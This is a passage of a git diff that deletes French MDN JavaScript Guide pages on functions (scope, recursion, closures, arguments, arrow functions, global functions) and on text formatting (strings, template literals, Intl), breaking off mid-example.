On ne peut pas accéder aux variables définies dans une fonction en dehors de cette fonction : ces variables n'existent que dans la portée de la fonction. En revanche, une fonction peut accéder aux différentes variables et fonctions qui appartiennent à la portée dans laquelle elle est définie. Une fonction définie dans une autre fonction peut également accéder à toutes les variables de la fonction « parente » et à toute autre variable accessible depuis la fonction « parente ».

- -
// Les variables suivantes sont globales
-var num1 = 20,
-    num2 = 3,
-    nom = "Licorne";
-
-// Cette fonction est définie dans la portée globale
-function multiplier() {
-  return num1 * num2;
-}
-
-multiplier(); // Renvoie 60
-
-// Un exemple de fonction imbriquée
-function getScore () {
-  var num1 = 2,
-      num2 = 3;
-
-  function ajoute() {
-    return nom + " a marqué " + (num1 + num2);
-  }
-
-  return ajoute();
-}
-
-getScore(); // Renvoie "Licorne a marqué 5"
-
- -

Portée et pile de fonctions

- -

La récursivité

- -

Une fonction peut faire référence à elle-même et s'appeler elle-même. Il existe trois moyens pour qu'une fonction fasse référence à elle-même :

- -
    -
  1. Le nom de la fonction
    2. -
  2. arguments.callee
    3. -
  3. Une variable de la portée qui fait référence à la fonction
    4. -
- -

Par exemple, avec la définition de fonction suivante :

- -
var toto = function truc() {
-   // les instructions de la fonction
-};
- -

Dans le corps de la fonction, ces trois éléments seront équivalents :

- -
    -
  1. truc()
    2. -
  2. arguments.callee()
    3. -
  3. toto()
    4. -
- -

Une fonction qui s'appelle elle-même est appelée une fonction récursive. Sous certains aspects, une récursion est semblable à une boucle : toutes les deux exécutent le même code plusieurs fois et toutes les deux requièrent une condition d'arrêt (pour éviter une boucle ou une récursion infinie). Par exemple, ce fragment de code utilisant une boucle :

- -
var x = 0;
-while (x < 10) { // "x < 10" représente la condition d'arrêt
-  // faire quelque chose
-  x++;
-}
- -

pourra être converti en une fonction récursive de la façon suivante :

- -
function boucle(x) {
-  if (x >= 10) // "x >= 10" représente la condition d'arrêt (équivalent à "!(x < 10)")
-    return;
-  // faire quelque chose
-  boucle(x + 1); // l'appel récursif
-}
-boucle(0);
- -

Malgré cela, certains algorithmes ne peuvent pas être convertis en boucles itératives. Ainsi, récupérer l'ensemble des nœuds d'un arbre (le DOM par exemple) se fait plus simplement en utilisant la récursivité :

- -
function parcourirArbre(noeud) {
-  if (noeud === null) //
-    return;
-  // faire quelque chose avec le noeud
-  for (var i = 0; i < noeud.childNodes.length; i++) {
-    parcourirArbre(noeud.childNodes[i]);
-  }
-}
- -

Contrairement à l'exemple précédent avec la fonction boucle, ici, chaque appel récursif entraîne lui-même plusieurs appels (et non un seul).

- -

Théoriquement, il est possible de convertir tout algorithme récursif en un algorithme non récursif (avec des boucles par exemple). Généralement, la logique obtenue est plus complexe et nécessite l'utilisation d'une pile. La récursivité utilise également une pile, la pile de fonction.

- -

Ce type de « comportement » peut-être observé avec l'exemple suivant :

- -
function toto(i) {
-  if (i < 0)
-    return;
-  console.log('début : ' + i);
-  toto(i - 1);
-  console.log('fin : ' + i);
-}
-toto(3);
- -

qui affichera :

- -
début : 3
-début : 2
-début : 1
-début : 0
-fin : 0
-fin : 1
-fin : 2
-fin : 3
- -

Fonctions imbriquées et fermetures

- -

Il est possible d'imbriquer une fonction dans une autre fonction. La portée de la fonction fille (celle qui est imbriquée) n'est pas contenue dans la portée de la fonction parente. En revanche, la fonction fille bénéficie bien des informations de la fonction parente grâce à sa portée. On a ce qu'on appelle une fermeture (closure en anglais). Une fermeture est une expression (généralement une fonction) qui accède à des variables libres ainsi qu'à un environnement qui lie ces variables (ce qui « ferme » l'expression).

- -

Une fonction imbriquée étant une fermeture, cela signifie qu'une fonction imbriquée peut en quelque sorte hériter des arguments et des variables de la fonction parente.

- -

En résumé :

- -
    -
  • La fonction imbriquée ne peut être utilisée qu'à partir des instructions de la fonction parente.
    • -
- -
    -
  • La fonction imbriquée forme une fermeture : elle peut utiliser les arguments et les variables de la fonction parente. En revanche, la fonction parente ne peut pas utiliser les arguments et les variables de la fonction fille.
    • -
- -
-

Note : Sur les fermetures, voir également l'article à ce sujet.

-
- -

L'exemple qui suit illustre l'imbrication de fonctions :

- -
function ajouteCarrés(a, b) {
-  function carré(x) {
-    return x * x;
-  }
-  return carré(a) + carré(b);
-}
-a = ajouteCarrés(2,3); // renvoie 13
-b = ajouteCarrés(3,4); // renvoie 25
-c = ajouteCarrés(4,5); // renvoie 41
- -

La fonction interne étant une fermeture, on peut appeler la fonction parente afin de définir les arguments pour la fonction englobante et ceux de la fonction fille :

- -
function parente(x) {
-  function fille(y) {
-    return x + y;
-  }
-  return fille;
-}
-fn_fille = parente(3); // Fournit une fonction qui ajoute 3 à ce qu'on lui donnera
-résultat = fn_fille(5); // renvoie 8
-
-résultat1 = parente(3)(5); // renvoie 8
- -

Préservation des variables

- -

Dans l'exemple précédent, x a été « préservé » lorsque la fonction fille a été renvoyée. Une fermeture conserve les arguments et les variables de chaque portée qu'elle référence. Chaque appel à la fonction parente pouvant fournir un contexte différents selon les arguments, cela entraînera la création d'une nouvelle fermeture. La mémoire associée ne pourra être libérée que lorsque la fonction fille ne sera plus accessible.

- -

Ce mode de fonctionnement n'est pas différent de celui des références vers les objets. Cependant, il est souvent plus compliqué à détecter car les références ne sont pas définies explicitement dans le code et car il n'est pas possible de les inspecter.

- -

Imbriquer plusieurs fonctions

- -

Il est possible d'imbriquer des fonctions sur plus de deux niveaux, par exemple, on peut avoir une fonction A qui contient une fonction B qui contient une fonction C. Les fonctions B et C sont des fermetures et B peut accéder à la portée de A, C peut accéder à la portée de B. Ainsi, C accède à la portée de B qui lui accède à la portée de A, C accède donc à la portée de A (transitivité). Les fermetures peuvent donc contenir plusieurs portées, c'est ce qu'on appelle le chaînage de portées.

- -

Par exemple :

- -
function A(x) {
-  function B(y) {
-    function C(z) {
-      console.log(x + y + z);
-    }
-    C(3);
-  }
-  B(2);
-}
-A(1); // affichera 6 (1 + 2 + 3)
- -

Dans cet exemple C accède au y de B et au x de A. Ceci est rendu possible car :

- -
    -
  1. B est une fermeture qui contient A, autrement dit B peut accéder aux arguments et aux variables de A.
    2. -
  2. C est une fermeture qui contient B.
    3. -
  3. La fermeture de B contient A donc la fermeture de C contient A, C peut ainsi accéder aux arguments et aux variables de B et A. On dit que C chaîne les portées de B et de A (dans cet ordre).
    4. -
- -

La réciproque n'est pas vraie. A ne peut pas accéder à C, car A ne peut pas accéder aux arguments ou aux variables de B, or C est une variable de B. De cette façon, C reste privée en dehors de B.

- -

Conflits de nommage

- -

Lorsque deux arguments ou variables des portées d'une fermeture ont le même nom, il y a un conflit de noms. Dans ces cas, ce sera la portée la plus imbriquée qui prendra la priorité sur le nom, la portée la plus « externe » aura la priorité la plus faible pour les noms de variables. Du point de vue de la chaîne des portées, la première portée sur la chaîne est la portée la plus imbriquée et la dernière est la portée située le plus à l'extérieur :

- -
function externe() {
-  var x = 10;
-  function interne(x) {
-    return x;
-  }
-  return interne;
-}
-résultat = externe()(20); // renvoie 20 et pas 10
- -

Le conflit se produit à l'instruction return x entre le paramètre x de la fonction interne et la variable x de la fonction externe. La chaîne de portée est ici {interne, externe, objet global}. Ainsi, le paramètre x de interne a la priorité sur la variable x de la fonction externe, le résultat obtenu est donc 20 et non 10.

- -

Fermetures (closures)

- -

Les fermetures sont l'une des fonctionnalités les plus intéressantes de JavaScript. Comme on l'a vu précédemment, JavaScript permet d'imbriquer des fonctions et la fonction interne aura accès aux variables et paramètres de la fonction parente. À l'inverse, la fonction parente ne pourra pas accéder aux variables liées à la fonction interne. Cela fournit une certaine sécurité pour les variables de la fonction interne. De plus, si la fonction interne peut exister plus longtemps que la fonction parente, les variables et fonctions de la fonction parente pourront exister au travers de la fonction interne. On crée une fermeture lorsque la fonction interne est disponible en dehors de la fonction parente.

- -
var animal = function(nom) {   // La fonction externe utilise un paramètre "nom"
-  var getNom = function () {
-    return nom;                // La fonction interne accède à la variable "nom" de la fonction externe
-  }
-  return getNom;               // Renvoie la fonction interne pour la rendre disponible en dehors de la portée de la fonction parente
-}
-
-monAnimal = animal("Licorne");
-
-monAnimal();                   // Renvoie "Licorne"
- -

Bien entendu, dans la pratique, les cas peuvent être plus complexes. On peut renvoyer un objet qui contient des méthodes manipulant les variables internes de la fonction parente.

- -
var créerAnimal  = function (nom) {
-  var sexe;
-
-  return {
-    setNom: function(nouveauNom) {
-      nom = nouveauNom;
-    },
-
-    getNom: function () {
-      return nom;
-    },
-
-    getSexe: function () {
-      return sexe;
-    },
-
-    setSexe: function(nouveauSexe) {
-      if (typeof nouveauSexe == "string" && (nouveauSexe.toLowerCase() == "mâle" || nouveauSexe.toLowerCase() == "femelle")) {
-        sexe = nouveauSexe;
-      }
-    }
-  }
-}
-
-var animal = créerAnimal("Licorne");
-animal.getNom();        // Licorne
-
-animal.setNom("Bobby");
-animal.setSexe("mâle");
-animal.getSexe();       // mâle
-animal.getNom();        // Bobby
- -

Dans le code précédent, la variable nom est de la fonction externe est accessible depuis les fonctions internes. Il est impossible d'accéder aux variables internes en dehors des fonctions internes. Les variables internes agissent comme des coffres-forts pour les fonctions internes. Elles permettent d'avoir un accès persistent et encapsulé aux données internes. Pour les fonctions, il n'est pas nécessaire de les affecter à une variable ou même de les nommer.

- -
var getCode = (function (){
-  var codeAPI = "0]Eal(eh&2";    // Un code qu'on ne souhaite pas diffuser ni modifier
-
-  return function () {
-    return codeAPI;
-  };
-})();
-
-getCode();    // Renvoie la valeur du code
- -

Il y a malgré tout quelques pièges auxquels il faut faire attention lorsqu'on utilise les fermetures. Si une fonction imbriquée définit une variable avec le même nom que le nom d'une variable de la portée externe, il n'y aura plus aucun moyen d'accéder à la variable.

- -
var créerAnimal = function(nom) {  // La fonction externe définit une variable appelée "nom"
-  return {
-    setNom: function(nom) {    // La fonction imbriquée définit une variable appelée "nom"
-      nom = nom;               // ??? comment accéder à la variable "nom" définie par la fonction externe
-    }
-  }
-}
- -

L'opérateur this doit être traité avec précaution dans les fermetures. Attention, this fait référence au contexte où la fonction est appelée et non à l'endroit où il est défini.

- -

Utiliser l'objet arguments

- -

Les arguments d'une fonction sont maintenus dans un objet semblable à un tableau. Dans une fonction, il est possible d'utiliser les arguments passés à la fonction de la façon suivante :

- -
arguments[i]
- -

où i représente l'index ordinal de l'argument (le premier argument ayant un indice à 0). On accède donc au premier argument avec arguments[0]. Le nombre total d'arguments est fourni grâce à arguments.length.

- -

En utilisant l'objet arguments, il est possible de recenser les arguments supplémentaires fournis à la fonction si jamais il y a plus d'arguments fournis que requis. Cet objet est souvent utile si on ne connaît pas le nombre d'arguments passés à la fonction. La propriété arguments.length permet de déterminer le nombre d'arguments réellement passés à la fonction. On peut donc ensuite accéder aux différents arguments en parcourant l'objet arguments.

- -

Par exemple, on peut construire une fonction qui concatène plusieurs chaînes. Le seul argument formellement défini sera la chaîne utilisée pour concaténer les différentes chaînes. On peut définir la fonction de la façon suivante :

- -
function monConcat(séparateur) {
-   var result = ""; // on initialise la liste
-   var i;
-   // on parcourt les arguments
-   for (i = 1; i < arguments.length; i++) {
-      result += arguments[i] + séparateur;
-   }
-   return result;
-}
- -

On peut passer autant d'arguments que nécessaire à cette fonction. Ils seront tous concaténés dans une chaîne finale. Ainsi, on aura :

- -
// renverra "rouge, orange, bleu, "
-monConcat(", ", "red", "orange", "blue");
-
-// renverra "éléphant; girafe; lion; singe; "
-monConcat("; ", "éléphant", "girafe", "lion", "singe");
-
-// renverra "sauge. basilic. origan. poivre. échalotte. "
-monConcat(". ", "sauge", "basilic", "origan", "poivre", "échalotte");
- -
-

Note : arguments est une variable « semblable » à un tableau. Mais ce n'est pas un tableau au sens strict. En effet, il possède un index numéroté ainsi qu'une propriété length. En revanche, il ne possède pas les méthodes classiques de manipulation des tableaux (Array).

-
- -

Voir la page sur l'objet {{jsxref("Function")}} dans la référence JavaScript pour plus d'informations.

- -

Paramètres des fonctions

- -

À partir d'ECMAScript 2015, deux sortes de paramètres sont introduites : les paramètres par défaut et les paramètres du reste.

- -

Les paramètres par défaut

- -

En JavaScript, par défaut, les paramètres des fonctions vaudront undefined. Il peut toutefois être utile de définir une valeur par défaut différente. Les paramètres par défaut permettent de répondre à ce besoin.

- -

Avant ECMAScript 2015, la stratégie pour manipuler des valeurs par défaut adaptées était de tester si la valeur du paramètre était indéfinie puis de lui affecter la valeur souhaitée si c'était le cas. Par exemple, dans le code qui suit, on ne fournit pas de valeur pour b dans l'appel, la valeur sera undefined lors de l'évaluation de a*b et l'appel à multiplier aurait renvoyé NaN. Pour éviter ça, la deuxième ligne définit une valeur par défaut au cas où b n'est pas renseigné :

- -
function multiplier(a, b) {
-  b = typeof b !== 'undefined' ?  b : 1;
-
-  return a*b;
-}
-
-multiplier(5); // 5
-
- -

Si on peut utiliser les paramètres par défaut, il n'est plus nécessaire de faire l'opération à l'intérieur du corps de la fonction, il suffit de déclarer que la valeur par défaut pour b est 1 dans la signature de la fonction :

- -
function multiplier(a, b = 1) {
-  return a*b;
-}
-
-multiplier(5); // 5
- -

Pour plus de détails, voir la page sur les paramètres par défaut dans la référence.

- -

Les paramètres du reste

- -

La syntaxe des paramètres du reste permet de représenter un nombre indéfini d'arguments contenus dans un tableau. Dans l'exemple suivant, on utilise les paramètres du reste pour collecter les arguments à partir du deuxième et jusqu'au dernier. Ces arguments sont multipliés par le premier. Dans cet exemple, on utilise une fonction fléchée, concept qui est présenté et illustré dans la section qui suit.

- -
function multiplier(facteur, ...lesArgs) {
-  return lesArgs.map(x => facteur * x);
-}
-
-var arr = multiplier(2, 1, 2, 3);
-console.log(arr); // [2, 4, 6]
- -

Fonctions fléchées

- -

Une expression de fonction fléchée permet d'utiliser une syntaxe plus concise que les expressions de fonctions classiques. Une telle fonction ne possède alors pas de valeur propre pour this, arguments, super ou new.target. Les fonctions fléchées sont nécessairement anonymes.

- -

Les fonctions fléchées ont été introduites pour deux raisons principales : une syntaxe plus courte et l'absence de this rattaché à la fonction. Voir aussi ce billet sur tech.mozfr.org sur les fonctions fléchées.

- -

 

- -

 

- -

Concision de la syntaxe

- -

Dans certaines constructions fonctionnelles, on peut apprécier une syntaxe courte. Par exemple, si on compare les deux dernières lignes de ce fragment de code :

- -
var a = [
-  "Hydrogen",
-  "Helium",
-  "Lithium",
-  "Beryl­lium"
-];
-
-var a2 = a.map(function(s){ return s.length });
-console.log(a2); // affiche [8, 6, 7, 9]
-var a3 = a.map( s => s.length );
-console.log(a3); // affiche [8, 6, 7, 9]
- -

Pas de this distinct

- -

Avant les fonctions fléchées, chaque nouvelle fonction définissait sa propre valeur this (un nouvel objet dans le cas d'un constructeur, undefined lors des appels en mode strict, l'objet courant dans le cas d'une méthode, etc.). Cela pouvait poser quelques problèmes avec un style de programmation orienté objet.

- -
function Personne() {
-  // Le constructeur Personne() utilise `this` comme lui-même.
-  this.âge = 0;
-
-  setInterval(function grandir() {
-    // En mode non-strict, la fonction grandir() définit `this`
-    // avec l'objet global, qui est donc différent du `this`
-    // défini par le constructeur Person().
-    this.âge++;
-  }, 1000);
-}
-
-var p = new Personne();
- -

Avec ECMAScript 3/5, ce problème fut résolu avec l'affectation de la valeur de this dans une variable a variable that could be closed over.

- -
function Personne() {
-  var self = this; // Certains utilisent `that`, d'autres `self`.
-                   // On utilisera l'un des deux et on pas
-                   // l'autre pour être cohérent.
-  self.âge = 0;
-
-  setInterval(function grandir() {
-    // La fonction callback fait référence à la variable `self`
-    // qui est bien la valeur attendue liée à l'objet.
-    self.âge++;
-  }, 1000);
-}
- -

On aurait aussi pu créer une fonction liée afin que la « bonne » valeur de this soit passée à la fonction grandir().

- -

Les fonctions fléchées capturent la valeur de this dans le contexte englobant et cela permet de manipuler la valeur pertinente ici :

- -
function Personne(){
-  this.âge = 0;
-
-  setInterval(() => {
-    this.âge++; // this fait référence à l'objet personne
-  }, 1000);
-}
-
-var p = new Personne();
- -

Fonctions prédéfinies

- -

JavaScript possède plusieurs fonctions natives, disponibles au plus haut niveau :

- -
-
{{jsxref("Objets_globaux/eval","eval()")}}
-
-

La fonction eval() permet d'évaluer du code JavaScript contenu dans une chaîne de caractères.

-
-
{{jsxref("Objets_globaux/uneval","uneval()")}} {{non-standard_inline}}
-
-

La fonction uneval() crée une représentation sous la forme d'une chaîne de caractères pour le code source d'un objet.

-
-
{{jsxref("Objets_globaux/isFinite","isFinite()")}}
-
-

La fonction isFinite() détermine si la valeur passée est un nombre fini. Si nécessaire, le paramètre sera converti en un nombre.

-
-
{{jsxref("Objets_globaux/isNaN","isNaN()")}}
-
-

La fonction isNaN() détermine si une valeur est {{jsxref("NaN")}} ou non. Note : On pourra également utiliser {{jsxref("Number.isNaN()")}} défini avec ECMAScript 6 ou utiliser typeof afin de déterminer si la valeur est Not-A-Number.

-
-
{{jsxref("Objets_globaux/parseFloat","parseFloat()")}}
-
-

La fonction parseFloat() convertit une chaîne de caractères en un nombre flottant.

-
-
{{jsxref("Objets_globaux/parseInt","parseInt()")}}
-
-

La fonction parseInt() convertit une chaîne de caractères et renvoie un entier dans la base donnée.

-
-
{{jsxref("Objets_globaux/decodeURI","decodeURI()")}}
-
-

La fonction decodeURI() décode un Uniform Resource Identifier (URI) créé par {{jsxref("Objets_globaux/encodeURI","encodeURI()")}} ou une méthode similaire.

-
-
{{jsxref("Objets_globaux/decodeURIComponent","decodeURIComponent()")}}
-
-

La fonction decodeURIComponent() décode un composant d'un Uniform Resource Identifier (URI) créé par {{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent")}} ou une méthode similaire.

-
-
{{jsxref("Objets_globaux/encodeURI","encodeURI()")}}
-
-

La fonction encodeURI() encode un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par un, deux, trois voire quatre séquences d'échappement représentant l'encodage UTF-8 du caractères (quatre séquences seront utilisées uniquement lorsque le caractère est composé d'une paire de deux demi-codets).

-
-
{{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent()")}}
-
-

La fonction encodeURIComponent() encode un composant d'un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par un, deux, trois voire quatre séquences d'échappement représentant l'encodage UTF-8 du caractères (quatre séquences seront utilisées uniquement lorsque le caractère est composé d'une paire de deux demi-codets).

-
-
{{jsxref("Objets_globaux/escape","escape()")}} {{deprecated_inline}}
-
-

La fonction dépréciée escape() calcule une nouvelle chaîne de caractères pour laquelle certains caractères ont été remplacés par leur séquence d'échappement hexadécimale. Les fonctions {{jsxref("Objets_globaux/encodeURI","encodeURI()")}} ou {{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent()")}} doivent être utilisées à la place.

-
-
{{jsxref("Objets_globaux/unescape","unescape()")}} {{deprecated_inline}}
-
-

La fonction dépréciée unescape() calcule une nouvelle chaîne de caractères pour laquelle les séquences d'échappement hexadécimales sont remplacées par les caractères qu'elles représentent. Les séquences d'échappement introduites peuvent provenir d'une fonction telle que {{jsxref("Objets_globaux/escape","escape()")}}. unescape est dépréciée et doit être remplacée par {{jsxref("Objets_globaux/decodeURI","decodeURI()")}} ou {{jsxref("Objets_globaux/decodeURIComponent","decodeURIComponent()")}}.

-
-
- -

{{PreviousNext("Web/JavaScript/Guide/Boucles_et_it%C3%A9ration", "Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs")}}

diff --git a/files/fr/web/javascript/guide/formatage_du_texte/index.html b/files/fr/web/javascript/guide/formatage_du_texte/index.html deleted file mode 100644 index 32e270c8d7..0000000000 --- a/files/fr/web/javascript/guide/formatage_du_texte/index.html +++ /dev/null @@ -1,255 +0,0 @@ ---- -title: Formatage de texte -slug: Web/JavaScript/Guide/Formatage_du_texte -tags: - - Guide - - JavaScript - - 'l10n:priority' -translation_of: Web/JavaScript/Guide/Text_formatting ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}
- -

Ce chapitre présente comment travailler avec les chaînes de caractères et le texte en JavaScript.

- -

Les chaînes de caractères

- -

Le type {{Glossary("String")}} de JavaScript est utilisé pour représenter des données textuelles. C'est un ensemble d'"éléments" de valeurs non signées sur 16 bits (unités de codage UTF-16). Chaque élément dans la chaîne de caractères occupe une position dans la chaîne de caractères. Le premier élément se trouve à l'indice 0, le suivant à l'indice 1 et ainsi de suite. La longueur d'une chaîne de caractères est le nombre d'éléments qu'elle contient. Vous pouvez créer des chaînes de caractères en utilisant des littéraux de chaîne de caractères ou des objets chaîne de caractères.

- - - -

Les littéraux de chaînes de caractères

- -

Vous pouvez créer des chaînes de caractères simple en utilisant des apostrophes simples ou doubles :

- -
'machin'
-"truc"
- -

Des chaînes plus avancées peuvent être créées en utilisant des séquences d'échappement.

- -

Les séquences d'échappement hexadécimales

- -

Le nombre situé après \x est interprété comme un nombre hexadécimal :

- -
'\xA9' // "©"
- -

Les séquences d'échappement Unicode

- -

Les séquences d'échappement Unicode requièrent au moins quatres caractères hexadécimaux après \u.

- -
'\u00A9' // "©"
- -

L'échappement d'unités de codage Unicode

- -

Nouveau dans ECMAScript 2015. Avec les échappements d'unités de codage Unicode, tout caractère peut être échappé en utilisant des nombres hexadécimaux, de sorte qu'il est possible de d'utiliser des unités de codage Unicode jusqu'à 0x10FFFF. Avec les échappements Unicode simples, il est souvent nécessaire d'écrire les moitiés de remplacement séparément pour obtenir le même résultat.

- -

Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}.

- -
'\u{2F804}'
-
-// Le même avec des échappements Unicode simples
-'\uD87E\uDC04'
-
- -

Les objets String

- -

L'objet {{jsxref("String")}} est un conteneur autour du type de donnée primitif chaîne de caractères.

- -
var s = new String('foo'); // crée un objet String
-console.log(s); // affiche : {'0': 'f', '1': 'o', '2': 'o'}
-typeof s; // retourne 'object'
- -

Vous pouvez appeler chacune des méthodes de l'objet String avec une valeur littérale de chaîne de caractères : JavaScript convertira automatiquement le littéral en un objet String temporaire, appellera la méthode, puis supprimera l'objet String temporaire. Vous pouvez aussi utiliser la propriété String.length sur un littéral de chaîne de caractères.

- -

Vous devriez utiliser des littéraux de chaîne de caractères, à moins que vous n'ayez spécifiquement besoin d'un objet String, parce que les objets String peuvent avoir un comportement contre-intuitif :

- -
var s1 = '2 + 2'; // crée une valeur de chaîne de caractères
-var s2 = new String('2 + 2'); // crée un objet String
-eval(s1); // renvoie le nombre 4
-eval(s2); // renvoie la chaîne "2 + 2"
- -

Un objet String possède une propriété, length, qui indique le nombre d'unités de codage UTF-16 dans la chaîne de caractères. Par exemple, le code suivant affecte à x la valeur 16, parce que la chaîne "Bonjour, Monde !" contient 16 caractères, chacun représenté par une unité de codage UTF-16. Vous pouvez accéder à chaque unité de codage en utilisant une syntaxe de tableau entre crochets. Vous ne pouvez pas changer les caractères, du fait que les chaînes sont des objets immuables (semblables à des tableaux) :

- -
var machaine = 'Bonjour, Monde !';
-var x = machaine.length;
-machaine[0] = 'L'; // cela n'a aucun effet car les chaînes sont immuables
-machaine[0]; // cela renvoie "B"
-
- -

Les caractères dont les valeurs scalaires sont supérieures à U+FFFF (comme certains rares caractères chinois/japonais/coréens/vietnamiens et certains emojis) sont stockés en UTF-16 via deux unités de codage de remplacement. Par exemple, une chaîne de caractères contenant le seul caractère U+1F600 ("Emoji grinning face") aura une longueur de 2. Le fait d'accéder aux unités de codage individuelles dans une telle chaîne de caractères en utilisant des crochets peut avoir des conséquences indésirables telles que la génération d'unité de codage de remplacement non conformes, en violation du standard Unicode. (Des exemples devraient être ajoutés à cette page après que le bug MDN 857438 sera corrigé. Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}.

- -

Un objet String a une grande variété de méthodes : par exemple, celles qui retournent une variation de la chaîne de caractères elle-même, telles que substring et toUpperCase.

- -

Le tableau suivant résume les méthodes des objets {{jsxref("String")}}.

- -

Méthodes de String

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MéthodeDescription
{{jsxref("String.charAt", "charAt")}}, {{jsxref("String.charCodeAt", "charCodeAt")}}, {{jsxref("String.codePointAt", "codePointAt")}}Retourne le caractère ou le code de caractère à la position spécifiée de la chaîne de caractères.
{{jsxref("String.indexOf", "indexOf")}}, {{jsxref("String.lastIndexOf", "lastIndexOf")}}Retourne la position de la sous-chaîne spécifiée dans la chaîne de caractères, ou la dernière position de la sous-chaîne spécifiée, respectivement.
{{jsxref("String.startsWith", "startsWith")}}, {{jsxref("String.endsWith", "endsWith")}}, {{jsxref("String.includes", "includes")}}Retourne le fait de savoir si la chaîne de caractères courante commence ou non par, finit ou non par, ou contient ou non, la chaîne spécifiée.
{{jsxref("String.concat", "concat")}}Combine le texte de deux chaînes de caractères et retourne une nouvelle chaîne de caractères.
{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}},Construit une chaîne de caractères à partir de la séquence de valeurs Unicode fournie. Cette méthode est une méthode de la classe String et non une instance de String.
{{jsxref("String.split", "split")}}Découpe un objet String en un tableau de chaînes de caractères en découpant la chaîne de caractères en sous-chaînes.
{{jsxref("String.slice", "slice")}}Extrait une partie de la chaîne de caractères et retourne une nouvelle chaîne de caractères.
{{jsxref("String.substring", "substring")}}, {{jsxref("String.substr", "substr")}}Retourne le sous-ensemble spécifié de la chaîne de caractères, en spécifiant soit des indices de début et de fin, soit l'indice de début et une longueur.
{{jsxref("String.match", "match")}}, {{jsxref("String.matchAll", "matchAll")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}}Ces fonctions utilisent des expressions rationnelles.
{{jsxref("String.toLowerCase", "toLowerCase")}}, {{jsxref("String.toUpperCase", "toUpperCase")}} -

Retourne la chaîne tout en minuscules ou tout en majuscules, respectivement.

-
{{jsxref("String.normalize", "normalize")}}Retourne la Forme Normalisée Unicode de la chaîne de caractères appelante.
{{jsxref("String.repeat", "repeat")}}Retourne une chaîne constituée des éléments de l'objet répétés le nombre de fois donné.
{{jsxref("String.trim", "trim")}}Retire les blancs en début et en fin de chaîne.
- -

Les littéraux de modèle multi-lignes

- -

Le littéraux de modèle sont des littéraux de chaîne de caractères permettant des expressions intégrées. Avec eux, vous pouvez utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation de chaînes.

- -

Les littéraux de gabarits sont délimités par des accents graves (ou backticks` ` en anglais), au lieu des apostrophes simples ou doubles. Les littéraux de modèle peuvent contenir des marque-places. Ceux-ci sont indiqués par le signe dollar et des accolades (${expression}).

- -

Multi-lignes

- -

Tout caractère de passage à la ligne inséré dans le source fait partie du littéral de modèle. En utilisant les chaînes de caractères normales, vous auriez eu à utiliser la syntaxe suivante afin d'avoir des chaînes de caractères multi-lignes :

- -
console.log('chaîne ligne de texte 1\n\
-chaîne ligne de texte 2');
-// "chaîne ligne de texte 1
-// chaîne ligne de texte 2"
- -

Pour obtenir le même effet avec des chaînes de caractères multi-lignes, vous pouvez maintenant écrire :

- -
console.log(`chaîne ligne de texte 1
-chaîne ligne de texte 2`);
-// "chaîne ligne de texte 1
-// chaîne ligne de texte 2"
- -

Expressions intégrées

- -

Pour intégrer des expressions dans des chaînes normales, vous devriez utiliser la syntaxe suivante :

- -
var a = 5;
-var b = 10;
-console.log('Quinze vaut ' + (a + b) + ' et\npas ' + (2 * a + b) + '.');
-// "Quinze vaut 15 et
-// pas 20."
- -

Maintenant, avec les modèles, vous pouvez utiliser du sucre syntaxique rendant plus lisibles les substitutions comme celle-ci :

- -
var a = 5;
-var b = 10;
-console.log(`Quinze vaut ${a + b} et\npas ${2 * a + b}.`);
-// "Quinze vaut 15 et
-// pas 20."
- -

Pour plus d'informations, voir les Littéraux de modèles dans la Référence JavaScript.

- -

Internationalisation

- -

L'objet {{jsxref("Intl")}} est l'espace de noms pour l'API d'Internationalisation de l'ECMAScript, qui fournit des fonctionnalités de comparaison de chaînes de caractères, de formatage de nombres, et de formatage des dates et heures prenant en compte la langue. Les constructeurs pour les objets {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} et {{jsxref("DateTimeFormat")}} sont des propriétés de l'objet Intl.

- -

Formatage date et heure

- -

L'objet {{jsxref("DateTimeFormat")}} est utile pour formater la date et l'heure. Ce qui suit formate une date en anglais telle qu'utilisée aux États-Unis (le résultat sera différent dans une autre zone horaire).

- -
var msParJour = 24 * 60 * 60 * 1000;
-
-// 17 juillet 2014 00:00:00 UTC.
-var _17juillet2014 = new Date(msParJour * (44 * 365 + 11 + 197));
-
-var options = { year: "2-digit", month: "2-digit", day: "2-digit",
-                hour: "2-digit", minute: "2-digit", timeZoneName: "short" };
-var dateHeureAmericaine = new Intl.DateTimeFormat("en-US", options).format;
-
-console.log(dateHeureAmericaine(_17juillet2014)); // 07/16/14, 5:00 PM PDT
-
- -

Formatage des nombres

- -

L'objet {{jsxref("NumberFormat")}} est utile pour formater les nombres, par exemple, les devises :

- -
var prixDeLEssence = new Intl.NumberFormat("en-US",
-                        { style: "currency", currency: "USD",
-                          minimumFractionDigits: 3 });
-
-console.log(prixDeLEssence.format(5.259)); // $5.259
-
-var decimalesHanRMBEnChine = new Intl.NumberFormat("zh-CN-u-nu-hanidec",
-                        { style: "currency", currency: "CNY" });
-
-console.log(decimalesHanRMBEnChine.format(1314.25)); // ￥ 一,三一四.二五
-
- -

Ordonnancement

- -

L'objet {{jsxref("Collator")}} est utile pour comparer et trier des chaînes de caractères.

- -

Par exemple, il y a en fait deux ordres de tri en allemand, annuaire et dictionnaire. Annuaire met l'accent sur le son, et c'est comme si "ä", "ö", etc. étaient étendus en "ae", "oe", etc. avant le tri :

- -
var noms = ['Hochberg', 'Hönigswald', 'Holzman'];
-
-var annuaireAllemand = new Intl.Collator('de-DE-u-co-phonebk');
-
